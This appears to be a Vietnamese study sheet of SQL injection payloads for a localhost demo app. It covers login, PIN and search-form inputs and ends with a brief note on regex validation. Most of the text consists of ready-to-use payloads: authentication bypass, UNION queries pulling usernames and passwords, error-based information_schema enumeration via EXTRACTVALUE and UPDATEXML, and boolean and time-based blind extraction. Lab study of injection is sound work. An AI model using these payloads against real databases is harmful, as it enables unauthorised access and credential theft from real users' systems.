<http://localhost/Demo-sql-injection/index.php>

Phần 1

**1. Lấy tất cả dữ liệu từ bảng users**

Nhập vào ô "Tên Người Dùng" (username): admin

Nhập vào ô "Mật Khẩu" (password): ' OR '1'='1

1. **Lấy tất cả dữ liệu với comment bypass**

Nhập vào ô "Tên Người Dùng" (username): ' OR 1=1 --

Nhập vào ô "Mật Khẩu" (password): (Để trống hoặc bất kỳ giá trị nào)

**3. Lấy dữ liệu bằng UNION**

Nhập vào ô "Tên Người Dùng" (username): ' UNION SELECT 1, username, password FROM users --

Nhập vào ô "Mật Khẩu" (password): (Để trống hoặc bất kỳ giá trị nào)

**4. Lấy dữ liệu cụ thể (ví dụ: user với username = 'admin')**

Nhập vào ô "Tên Người Dùng" (username): admin' --

Nhập vào ô "Mật Khẩu" (password): (Để trống hoặc bất kỳ giá trị nào)

5**. Lấy dữ liệu với giá trị rỗng**

Nhập vào ô "Tên Người Dùng" (username): ' OR ''='

Nhập vào ô "Mật Khẩu" (password): (Để trống hoặc bất kỳ giá trị nào)

' OR 1=1 LIMIT 1 --

' OR 1=1 --

' OR id = 5 --

Phần 2

Nhập vào ô "Khách Hàng" (client): 1

Nhập vào ô "Mã PIN" (pin): 1 OR 1=1 --

**Lấy dữ liệu bằng UNION**

Nhập vào ô "Khách Hàng" (client): 1

Nhập vào ô "Mã PIN" (pin): 1 UNION SELECT 1, pin FROM clients --

**Lấy dữ liệu cụ thể (ví dụ: client với ID = 2)**

Nhập vào ô "Khách Hàng" (client): 2

Nhập vào ô "Mã PIN" (pin): 1 OR id = 2 --

**Lấy dữ liệu với giá trị rỗng**

Nhập vào ô "Khách Hàng" (client): 1

Nhập vào ô "Mã PIN" (pin): ' OR ''='

Phần 3

1. **Lấy tất cả dữ liệu từ bảng books**

Nhập vào ô "Từ khóa": %’ OR ‘1’=’1

**2. Lấy tất cả dữ liệu với comment bypass**

Nhập vào ô "Từ khóa": %’ OR 1=1 --

**3.Lấy dữ liệu bằng UNION**

Nhập vào ô "Từ khóa": %’ UNION SELECT 1, title, author FROM books --

**4. Lấy dữ liệu cụ thể (ví dụ: sách với title = 'Harry Potter')**

Nhập vào ô "Từ khóa": Harry Potter’ --

1. **Lấy dữ liệu từ bảng khác (nếu biết tên bảng)**

Nhập vào ô "Từ khóa": %’ UNION SELECT 1, username, password FROM users --

**Error-based SQLi**

' **Hiệu ứng**: Dấu nháy đơn (') phá vỡ cú pháp SQL, gây lỗi cú pháp. Nếu server trả về lỗi chi tiết (ví dụ: "You have an error in your SQL syntax..."), điều này xác nhận lỗ hổng SQLi.

' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION())), 1) --

**Hiệu ứng**: UPDATEXML gây lỗi cú pháp, và thông báo lỗi hiển thị phiên bản MySQL.

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE()))) --

**Hiệu ứng**: DATABASE() trả về tên cơ sở dữ liệu hiện tại (ví dụ: "mydb"). CAST gây lỗi, và thông báo lỗi có thể tiết lộ tên cơ sở dữ liệu.

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT TABLE\_NAME FROM information\_schema.tables WHERE table\_schema=DATABASE() LIMIT 0,1))) --**Hiệu ứng**: Truy vấn con lấy tên bảng từ information\_schema.tables. EXTRACTVALUE gây lỗi, và thông báo lỗi có thể tiết lộ tên bảng (ví dụ: "users"). Thay đổi LIMIT 0,1 thành LIMIT 1,1, LIMIT 2,1,... để liệt kê các bảng khác.

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT COLUMN\_NAME FROM information\_schema.columns WHERE table\_schema=DATABASE() AND table\_name='users' LIMIT 0,1))) --

**Hiệu ứng**: Lấy tên cột của bảng users (ví dụ: "id", "username", "password"). CAST gây lỗi, và thông báo lỗi tiết lộ tên cột. Thay đổi LIMIT để lấy các cột khác.

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT username FROM users LIMIT 0,1))) --

--**Hiệu ứng**: Lấy giá trị cột password từ bảng users. Thay đổi LIMIT để lấy các giá trị khác. Thay username bằng password để lấy mật khẩu.

**Union-based SQLi**

**Union-based SQLi** là một dạng SQLi sử dụng toán tử UNION để kết hợp kết quả của nhiều câu lệnh SQL, cho phép tin tặc trích xuất dữ liệu từ cơ sở dữ liệu (CSDL).

Kiểm tra số cột (gây lỗi nếu không khớp.

Sử dụng toán tử UNION để đoán số cột của bảng trong CSDL.

**Câu truy vấn để gây lỗi**:

* ' UNION SELECT 1 -- (lỗi số cột không khớp).
* ' UNION SELECT 'a','b','c' -- (lỗi kiểu dữ liệu).
* ' UNION SELECT 1,2,3 WHERE 1=2 -- (lỗi cú pháp).
* ' UNION SELECT id, username, password FROM users --
* ' UNION SELECT id, username, password FROM users WHERE id = 1 --

**Câu truy vấn để khai thác dữ liệu**:

* ' UNION SELECT 1,VERSION(),3 -- (lấy phiên bản).
* ' UNION SELECT 1,DATABASE(),3 -- (lấy tên cơ sở dữ liệu).
* ' UNION SELECT 1,TABLE\_NAME,3 FROM information\_schema.tables WHERE table\_schema=DATABASE() LIMIT 0,1 -- (lấy tên bảng).
* ' UNION SELECT 1,COLUMN\_NAME,3 FROM information\_schema.columns WHERE table\_schema=DATABASE() AND table\_name='users' LIMIT 0,1 -- (lấy tên cột).
* ' UNION SELECT 1,username,password FROM users LIMIT 0,1 -- (lấy dữ liệu).

**Boolean-based Blind SQLi**

truy vấn SQL mà dựa vào phản hồi logic (đúng/sai) của ứng dụng.

· ' OR LENGTH(DATABASE())=4 -- (đo độ dài).

· ' OR SUBSTRING((SELECT DATABASE()), 1, 1)='m' -- (suy luận ký tự).

· ' OR ASCII(SUBSTRING((SELECT DATABASE()), 1, 1))>109 -- (so sánh nhị phân).

· ' OR SUBSTRING((SELECT TABLE\_NAME FROM information\_schema.tables WHERE table\_schema=DATABASE() LIMIT 0,1), 1, 1)='u' -- (lấy tên bảng).

· ' OR SUBSTRING((SELECT username FROM users LIMIT 0,1), 1, 1)='a' -- (lấy dữ liệu).

**Time-based Blind SQLi**

' OR IF(LENGTH(DATABASE())=12, SLEEP(5), 0) --

+**Câu truy vấn để kiểm tra lỗ hổng**:

* ' OR SLEEP(5) -- (độ trễ vô điều kiện).
* ' OR 1=1 AND SLEEP(5) -- (điều kiện true).
* ' OR 1=2 AND SLEEP(5) -- (điều kiện false).

**+ Câu truy vấn để suy luận dữ liệu**:

* ' OR IF(LENGTH(DATABASE())=4, SLEEP(5), 0) -- (đo độ dài).
* ' OR IF(SUBSTRING((SELECT DATABASE()),1,1)='m', SLEEP(5), 0) -- (suy luận ký tự).
* ' OR IF(ASCII(SUBSTRING((SELECT DATABASE()),1,1))>109, SLEEP(5), 0) -- (so sánh nhị phân).
* ' OR IF(SUBSTRING((SELECT password FROM users WHERE id=1 LIMIT 1),1,1)='a', SLEEP(5), 0) -- (lấy dữ liệu).

**Kiểm tra biểu thức chính quy**

1. /^\d{10}$/

Ý nghĩa: Chuỗi là số điện thoại gồm đúng 10 chữ số.

1. Kiểm tra email

/^[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]{2,}$/

tên@domain.com (tên và domain chỉ chứa chữ/số, phần mở rộng có ít nhất 2 ký tự).